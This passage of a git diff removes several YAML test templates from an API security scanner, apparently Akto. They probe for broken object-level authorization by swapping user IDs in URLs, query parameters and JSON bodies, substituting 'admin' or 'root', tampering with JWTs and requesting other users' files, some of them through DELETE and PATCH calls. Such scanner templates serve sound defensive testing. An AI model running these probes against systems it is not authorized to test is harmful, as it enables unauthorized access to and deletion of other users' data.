- regex: "^UserId$|^UserID$|^User-ID$|^user_id$|^user-id$|^userid$|username|^Username$|^USERNAME$|^uId$|^uid$|^UID$|^member_id$|^MemberId$|^memberId$|^profile_id$|^ProfileId$|^profileId$|^userIdentifier$|^UserIdentifier$|^user_identifier$|^account_id$|^AccountID$|^account-id$|^account_id$|^customer_id$|^CustomerID$|^customer-id$|^customer_id$"
- all_apis: true
-
-execute:
- type: multiple
- requests:
- - req:
- - modify_url:
- token_replace:
- location: 1
- replace_with: ${random_ids}
- - success: vulnerable
- - failure: x2
- - req:
- - modify_url:
- token_replace:
- location: 2
- replace_with: ${random_ids}
- - success: vulnerable
- - failure: x3
- - req:
- - modify_url:
- token_replace:
- location: 3
- replace_with: ${random_ids}
- - success: vulnerable
- - failure: x4
- - req:
- - modify_url:
- token_replace:
- location: 4
- replace_with: ${random_ids}
-validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- percentage_match:
- lt: 10
- percentage_match_schema:
- gte: 90
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - failure
- - not available
- - not found
- - ""
- - ""
diff --git a/Broken-Object-Level-Authorization/BOLAURLReplaceUserIDDELETE.yml b/Broken-Object-Level-Authorization/BOLAURLReplaceUserIDDELETE.yml
deleted file mode 100644
index 84ab0681..00000000
--- a/Broken-Object-Level-Authorization/BOLAURLReplaceUserIDDELETE.yml
+++ /dev/null
@@ -1,158 +0,0 @@
-id: BOLA_URL_REPLACE_USER_ID_DELETE
-info:
- name: "Exploiting BOLA by replacing URL path with User IDs for Unauthorized Access with DELETE method"
- description: >
- "This test involves exploiting security vulnerabilities by manipulating the URL path and substituting it with User IDs (APIs having DELETE Method). This unauthorized access allows attackers to bypass proper authorization mechanisms, potentially gaining unauthorized entry to sensitive data or functionalities. The test aims to identify and rectify weaknesses in object-level authorization, ensuring that only authorized users can access specific resources or perform certain actions within an application or system."
- details: >
- "In this test, attackers exploit security weaknesses by manipulating the URL path (APIs having DELETE method), substituting it with User IDs to gain unauthorized access. By doing so, they can bypass proper authorization controls, potentially accessing sensitive data or functionalities. This test helps identify and address vulnerabilities in object-level authorization, ensuring that only authorized users have legitimate access to specific resources or actions within a system or application."
- impact: >
- "The impact of a Broken Object Level Authorization (BOLA) test exploit can be severe, as unauthorized access to sensitive data or functionalities may compromise the confidentiality and integrity of a system. Attackers could potentially retrieve or manipulate critical information, leading to data breaches, unauthorized transactions, or even the compromise of user privacy. Addressing BOLA vulnerabilities is crucial to prevent these far-reaching consequences and maintain the security and trustworthiness of the system."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: BOLA_URL_REPLACE_USER_ID_DELETE
- severity: HIGH
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2022-34770
-
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- eq: 204
- method:
- eq: "DELETE"
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - failure
- - not available
- - not found
-
-wordLists:
- random_ids:
- source: sample_data
- key:
- regex: "^UserId$|^UserID$|^User-ID$|^user_id$|^user-id$|^userid$|username|^Username$|^USERNAME$|^uId$|^uid$|^UID$|^member_id$|^MemberId$|^memberId$|^profile_id$|^ProfileId$|^profileId$|^userIdentifier$|^UserIdentifier$|^user_identifier$|^account_id$|^AccountID$|^account-id$|^account_id$|^customer_id$|^CustomerID$|^customer-id$|^customer_id$"
- all_apis: true
-
-execute:
- type: multiple
- requests:
- - req:
- - modify_url:
- token_replace:
- location: 1
- replace_with: ${random_ids}
- - success: vulnerable
- - failure: x2
- - req:
- - modify_url:
- token_replace:
- location: 2
- replace_with: ${random_ids}
- - success: vulnerable
- - failure: x3
- - req:
- - modify_url:
- token_replace:
- location: 3
- replace_with: ${random_ids}
- - success: vulnerable
- - failure: x4
- - req:
- - modify_url:
- token_replace:
- location: 4
- replace_with: ${random_ids}
-validate:
- response_code:
- eq: 204
- response_payload:
- length:
- gt: 0
- percentage_match:
- lt: 10
- percentage_match_schema:
- gte: 90
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - failure
- - not available
- - not found
- - ""
- - ""
diff --git a/Broken-Object-Level-Authorization/BOLAURLReplaceUserIDPATCH.yml b/Broken-Object-Level-Authorization/BOLAURLReplaceUserIDPATCH.yml
deleted file mode 100644
index 2f5fa25e..00000000
--- a/Broken-Object-Level-Authorization/BOLAURLReplaceUserIDPATCH.yml
+++ /dev/null
@@ -1,158 +0,0 @@
-id: BOLA_URL_REPLACE_USER_ID_PATCH
-info:
- name: "Exploiting BOLA by replacing URL path with User IDs for Unauthorized Access with PATCH method"
- description: >
- "This test involves exploiting security vulnerabilities by manipulating the URL path and substituting it with User IDs (APIs having PATCH Method). This unauthorized access allows attackers to bypass proper authorization mechanisms, potentially gaining unauthorized entry to sensitive data or functionalities. The test aims to identify and rectify weaknesses in object-level authorization, ensuring that only authorized users can access specific resources or perform certain actions within an application or system."
- details: >
- "In this test, attackers exploit security weaknesses by manipulating the URL path (APIs having PATCH method), substituting it with User IDs to gain unauthorized access. By doing so, they can bypass proper authorization controls, potentially accessing sensitive data or functionalities. This test helps identify and address vulnerabilities in object-level authorization, ensuring that only authorized users have legitimate access to specific resources or actions within a system or application."
- impact: >
- "The impact of a Broken Object Level Authorization (BOLA) test exploit can be severe, as unauthorized access to sensitive data or functionalities may compromise the confidentiality and integrity of a system. Attackers could potentially retrieve or manipulate critical information, leading to data breaches, unauthorized transactions, or even the compromise of user privacy. Addressing BOLA vulnerabilities is crucial to prevent these far-reaching consequences and maintain the security and trustworthiness of the system."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: BOLA_URL_REPLACE_USER_ID_PATCH
- severity: HIGH
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2022-34770
-
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- eq: 204
- method:
- eq: "PATCH"
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - failure
- - not available
- - not found
-
-wordLists:
- random_ids:
- source: sample_data
- key:
- regex: "^UserId$|^UserID$|^User-ID$|^user_id$|^user-id$|^userid$|username|^Username$|^USERNAME$|^uId$|^uid$|^UID$|^member_id$|^MemberId$|^memberId$|^profile_id$|^ProfileId$|^profileId$|^userIdentifier$|^UserIdentifier$|^user_identifier$|^account_id$|^AccountID$|^account-id$|^account_id$|^customer_id$|^CustomerID$|^customer-id$|^customer_id$"
- all_apis: true
-
-execute:
- type: multiple
- requests:
- - req:
- - modify_url:
- token_replace:
- location: 1
- replace_with: ${random_ids}
- - success: vulnerable
- - failure: x2
- - req:
- - modify_url:
- token_replace:
- location: 2
- replace_with: ${random_ids}
- - success: vulnerable
- - failure: x3
- - req:
- - modify_url:
- token_replace:
- location: 3
- replace_with: ${random_ids}
- - success: vulnerable
- - failure: x4
- - req:
- - modify_url:
- token_replace:
- location: 4
- replace_with: ${random_ids}
-validate:
- response_code:
- eq: 204
- response_payload:
- length:
- gt: 0
- percentage_match:
- lt: 10
- percentage_match_schema:
- gte: 90
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - failure
- - not available
- - not found
- - ""
- - ""
diff --git a/Broken-Object-Level-Authorization/BOLAURLReplaceUserIDQueryParam.yml b/Broken-Object-Level-Authorization/BOLAURLReplaceUserIDQueryParam.yml
deleted file mode 100644
index fb239289..00000000
--- a/Broken-Object-Level-Authorization/BOLAURLReplaceUserIDQueryParam.yml
+++ /dev/null
@@ -1,144 +0,0 @@
-id: BOLA_REPLACE_USER_ID_QUERY_PARAM
-info:
- name: "Exploiting BOLA by replacing User IDs for Unauthorized Access."
- description: >
- This test checks for Broken Object Level Authorization (BOLA) vulnerabilities by modifying URL query parameters related to user identification (such as UserId, user_id, etc.) and replacing their values with common privileged identifiers (e.g., admin, root, superuser). The goal is to determine if unauthorized access to resources is possible by manipulating these parameters.
- details: >
- The test targets API endpoints that use user-related query parameters. It systematically replaces these parameters with values like "admin" or "root" and sends requests to the server. The test then validates the responses to ensure that unauthorized access is not granted. It checks for successful response codes (2xx), non-empty payloads, and ensures the response does not contain error or denial messages, nor does it closely match the original user's data, indicating a possible privilege escalation or data leak.
- impact: >
- If the test is successful, it indicates that attackers could gain unauthorized access to sensitive data or perform actions as privileged users by simply modifying query parameters. This could lead to data breaches, unauthorized transactions, or compromise of user accounts, highlighting a critical need to enforce strict object-level authorization on all endpoints that accept user-identifying parameters.
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: BOLA_REPLACE_USER_ID_QUERY_PARAM
- severity: HIGH
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2022-34770
-
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- neq: "OPTIONS"
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - failure
- - not available
- - not found
- query_param:
- for_one:
- key:
- regex: "^UserId$|^UserID$|^User-ID$|^user_id$|^user-id$|^userid$|^username$|^Username$|^USERNAME$|^uId$|^uid$|^UID$|^member_id$|^MemberId$|^memberId$|^profile_id$|^ProfileId$|^profileId$|^userIdentifier$|^UserIdentifier$|^user_identifier$|^account_id$|^AccountID$|^account-id$|^account_id$|^customer_id$|^CustomerID$|^customer-id$|^customer_id$"
- extract: userKey
- value:
- not_contains: ${attempt_Ids}
-
-wordLists:
- attempt_Ids:
- - superuser
- - master
- - admin
- - root
-
-execute:
- type: single
- requests:
- - req:
- - modify_query_param:
- userKey: ${attempt_Ids}
-
-validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- percentage_match:
- gt: 40
- percentage_match_schema:
- gte: 90
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - failure
- - not available
- - not found
- - ""
- - ""
diff --git a/Broken-Object-Level-Authorization/BOLAbyReplacingParamWithJSONObject.yml b/Broken-Object-Level-Authorization/BOLAbyReplacingParamWithJSONObject.yml
deleted file mode 100644
index b22d0fe8..00000000
--- a/Broken-Object-Level-Authorization/BOLAbyReplacingParamWithJSONObject.yml
+++ /dev/null
@@ -1,131 +0,0 @@
-id: ID_REPLACE_JSON_OBJECT
-info:
- name: "BOLA: Turning Parameters into JSON Objects for Unauthorized Access"
- description: >
- "This test entails transforming parameters into JSON objects to potentially circumvent security measures and gain unauthorized entry, emphasizing the critical need for securing input validation and addressing BOLA risks. This underscores the importance of robust security practices to prevent unauthorized access and protect against exploitation of broken object-level authorization."
- details: >
- "In this test, manipulation involves transforming parameters into JSON objects, aiming to exploit broken object-level authorization and gain unauthorized entry. Such actions highlight the critical importance of robust security practices, emphasizing the need for stringent input validation to mitigate the risks associated with unauthorized access and potential data breaches."
- impact: >
- "The impact of this test can be severe, introducing the risk of unauthorized entry and compromising sensitive data. Exploiting broken object-level authorization through parameter manipulation may lead to unauthorized access, potential data breaches, and a compromise of overall system security. Timely mitigation of these vulnerabilities is crucial to prevent unauthorized access and protect the system from the consequences of broken object-level authorization exploitation."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: ID_REPLACE_JSON_OBJECT
- severity: HIGH
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2023-39349
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- neq: "OPTIONS"
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- request_payload:
- for_one:
- key:
- regex: "^UserId$|^UserID$|^User-ID$|^user_id$|^user-id$|^userid$|username|^Username$|^USERNAME$|^uId$|^uid$|^UID$|^member_id$|^MemberId$|^memberId$|^profile_id$|^ProfileId$|^profileId$|^userIdentifier$|^UserIdentifier$|^user_identifier$|^account_id$|^AccountID$|^account-id$|^account_id$|^customer_id$|^CustomerID$|^customer-id$|^customer_id$"
- extract: userKey
-wordLists:
- random_ids:
- source: sample_data
- key:
- regex: "^UserId$|^UserID$|^User-ID$|^user_id$|^user-id$|^userid$|username|^Username$|^USERNAME$|^uId$|^uid$|^UID$|^member_id$|^MemberId$|^memberId$|^profile_id$|^ProfileId$|^profileId$|^userIdentifier$|^UserIdentifier$|^user_identifier$|^account_id$|^AccountID$|^account-id$|^account_id$|^customer_id$|^CustomerID$|^customer-id$|^customer_id$"
- all_apis: true
-execute:
- type: single
- requests:
- - req:
- modify_body_param:
- userKey: "{\"${userKey}\":\"${random_ids}\"}"
-validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- percentage_match:
- lt: 10
- percentage_match_schema:
- gte: 90
diff --git a/Broken-Object-Level-Authorization/BOLAbyReplacingParamWithJSONObjectDELETE.yml b/Broken-Object-Level-Authorization/BOLAbyReplacingParamWithJSONObjectDELETE.yml
deleted file mode 100644
index ebf4c657..00000000
--- a/Broken-Object-Level-Authorization/BOLAbyReplacingParamWithJSONObjectDELETE.yml
+++ /dev/null
@@ -1,127 +0,0 @@
-id: ID_REPLACE_JSON_OBJECT_DELETE
-info:
- name: "BOLA: Turning Parameters into JSON Objects for Unauthorized Access for DELETE method APIs"
- description: >
- "This test entails transforming parameters into JSON objects to potentially circumvent security measures and gain unauthorized entry (where HTTP method is DELETE), emphasizing the critical need for securing input validation and addressing BOLA risks. This underscores the importance of robust security practices to prevent unauthorized access and protect against exploitation of broken object-level authorization."
- details: >
- "In this test, manipulation involves transforming parameters into JSON objects (where HTTP method is DELETE), aiming to exploit broken object-level authorization and gain unauthorized entry. Such actions highlight the critical importance of robust security practices, emphasizing the need for stringent input validation to mitigate the risks associated with unauthorized access and potential data breaches."
- impact: >
- "The impact of this test can be severe, introducing the risk of unauthorized entry and compromising sensitive data. Exploiting broken object-level authorization through parameter manipulation may lead to unauthorized access, potential data breaches, and a compromise of overall system security. Timely mitigation of these vulnerabilities is crucial to prevent unauthorized access and protect the system from the consequences of broken object-level authorization exploitation."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: ID_REPLACE_JSON_OBJECT_DELETE
- severity: CRITICAL
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2023-39349
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- eq: DELETE
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- request_payload:
- for_one:
- key:
- regex: "^UserId$|^UserID$|^User-ID$|^user_id$|^user-id$|^userid$|username|^Username$|^USERNAME$|^uId$|^uid$|^UID$|^member_id$|^MemberId$|^memberId$|^profile_id$|^ProfileId$|^profileId$|^userIdentifier$|^UserIdentifier$|^user_identifier$|^account_id$|^AccountID$|^account-id$|^account_id$|^customer_id$|^CustomerID$|^customer-id$|^customer_id$"
- extract: userKey
-wordLists:
- random_ids:
- source: sample_data
- key:
- regex: "^UserId$|^UserID$|^User-ID$|^user_id$|^user-id$|^userid$|username|^Username$|^USERNAME$|^uId$|^uid$|^UID$|^member_id$|^MemberId$|^memberId$|^profile_id$|^ProfileId$|^profileId$|^userIdentifier$|^UserIdentifier$|^user_identifier$|^account_id$|^AccountID$|^account-id$|^account_id$|^customer_id$|^CustomerID$|^customer-id$|^customer_id$"
- all_apis: true
-execute:
- type: single
- requests:
- - req:
- modify_body_param:
- userKey: "{\"${userKey}\":\"${random_ids}\"}"
-validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
diff --git a/Broken-Object-Level-Authorization/BOLAwithFiles.yaml b/Broken-Object-Level-Authorization/BOLAwithFiles.yaml
deleted file mode 100644
index 3f1d8896..00000000
--- a/Broken-Object-Level-Authorization/BOLAwithFiles.yaml
+++ /dev/null
@@ -1,139 +0,0 @@
-id: BOLA_FILE_ACCESS
-info:
- name: "BOLA by Accessing Files of other Users"
- description: >
- "This specific test of Broken object level authorization occurs when a user gains unauthorized access to files belonging to other users within a system. This security vulnerability allows an attacker to exploit weaknesses in the object-level permissions, bypassing proper access controls. By doing so, the attacker can compromise the confidentiality and integrity of sensitive information stored in files, potentially leading to unauthorized data disclosure or manipulation."
- details: >
- "This type of Broken object level authorization refers to a security flaw where an attacker gains unauthorized access to files belonging to different users within a system. This typically happens when object-level permissions are inadequately enforced, allowing an attacker to bypass access controls and access files they shouldn't. Exploiting this vulnerability can result in unauthorized data access, potentially compromising sensitive information and violating data confidentiality and integrity."
- impact: >
- "The impact of broken object level authorization can be severe, leading to unauthorized access and exposure of sensitive information stored in files. Attackers exploiting this vulnerability can compromise data confidentiality, potentially leading to privacy breaches and unauthorized disclosure of personal or confidential data. Additionally, the integrity of the data may be at risk, as attackers could manipulate or corrupt files, posing a threat to the overall reliability and trustworthiness of the affected system."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: BOLA_FILE_ACCESS
- severity: HIGH
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2023-39349
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- neq: "OPTIONS"
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- or:
- - request_payload:
- for_one:
- key:
- regex: file|document|attachment|saveAsName|File|Document|Attachment|path
- extract: userKey
- - query_param:
- for_one:
- key:
- regex: file|document|attachment|saveAsName|File|Document|Attachment|path
- extract: userKey
-wordLists:
- random_ids:
- source: sample_data
- key:
- regex: file|document|attachment|saveAsName|File|Document|Attachment|path
- all_apis: true
-execute:
- type: single
- requests:
- - req:
- - modify_body_param:
- userKey: ${random_ids}
- - modify_query_param:
- userKey: ${random_ids}
-validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- percentage_match:
- lt: 10
- percentage_match_schema:
- gte: 90
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
diff --git a/Broken-Object-Level-Authorization/JWTModifyBodyDELETE.yml b/Broken-Object-Level-Authorization/JWTModifyBodyDELETE.yml
deleted file mode 100644
index bec2acdd..00000000
--- a/Broken-Object-Level-Authorization/JWTModifyBodyDELETE.yml
+++ /dev/null
@@ -1,131 +0,0 @@
-id: JWT_MODIFY_BODY_DELETE
-info:
- name: "JWT Token Tampering: Modifying User IDs for Potential Unauthorized Access for APIs with DELETE method"
- description: >
- "JWT Token Tampering involves assessing security risks by identifying and modifying user IDs within tokens. By manipulating JWT tokens on jwt.io and substituting the user ID, this method aims to test the system's resilience against unauthorized access attempts (for APIs with DELETE method). The evaluation helps identify and mitigate potential vulnerabilities, ensuring the integrity of user data and overall system security."
- details: >
- "In this test, attackers attempt to manipulate JSON Web Tokens (JWT) by identifying user IDs and substituting them with new ones on jwt.io (for APIs with DELETE method). This method serves as a security test to gauge the system's vulnerability to unauthorized access. By evaluating the system's response to tampered JWT tokens, organizations can identify and address potential weaknesses, enhancing overall security against unauthorized data access through token manipulation."
- impact: >
- "The impact of this test is significant, potentially leading to unauthorized access to sensitive
- user data. Successful tampering could compromise the integrity of the authentication system,
- allowing attackers to access information belonging to other users. Promptly addressing and
- mitigating these vulnerabilities is crucial to maintaining the security and trustworthiness
- of systems relying on JWT tokens for user authentication."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: JWT_MODIFY_BODY_DELETE
- severity: HIGH
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2022-29217
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-inactive: true
-auth:
- authenticated: true
-api_selection_filters:
- request_headers:
- for_one:
- value:
- contains_jwt: true
- response_code:
- eq: 204
- method:
- eq: DELETE
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- private_variable_context:
- gt: 0
-wordLists:
- jwts:
- source: sample_data
- key: Authorization
- location: header
- all_apis: true
-execute:
- type: single
- requests:
- - req:
- - jwt_replace_body: "${jwts}"
-validate:
- response_code:
- eq: 204
- response_payload:
- length:
- gt: 0
- percentage_match:
- gte: 90
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
diff --git a/Broken-Object-Level-Authorization/JWTModifyBodyPATCH.yml b/Broken-Object-Level-Authorization/JWTModifyBodyPATCH.yml
deleted file mode 100644
index 44333c43..00000000
--- a/Broken-Object-Level-Authorization/JWTModifyBodyPATCH.yml
+++ /dev/null
@@ -1,132 +0,0 @@
-id: JWT_MODIFY_BODY_PATCH
-info:
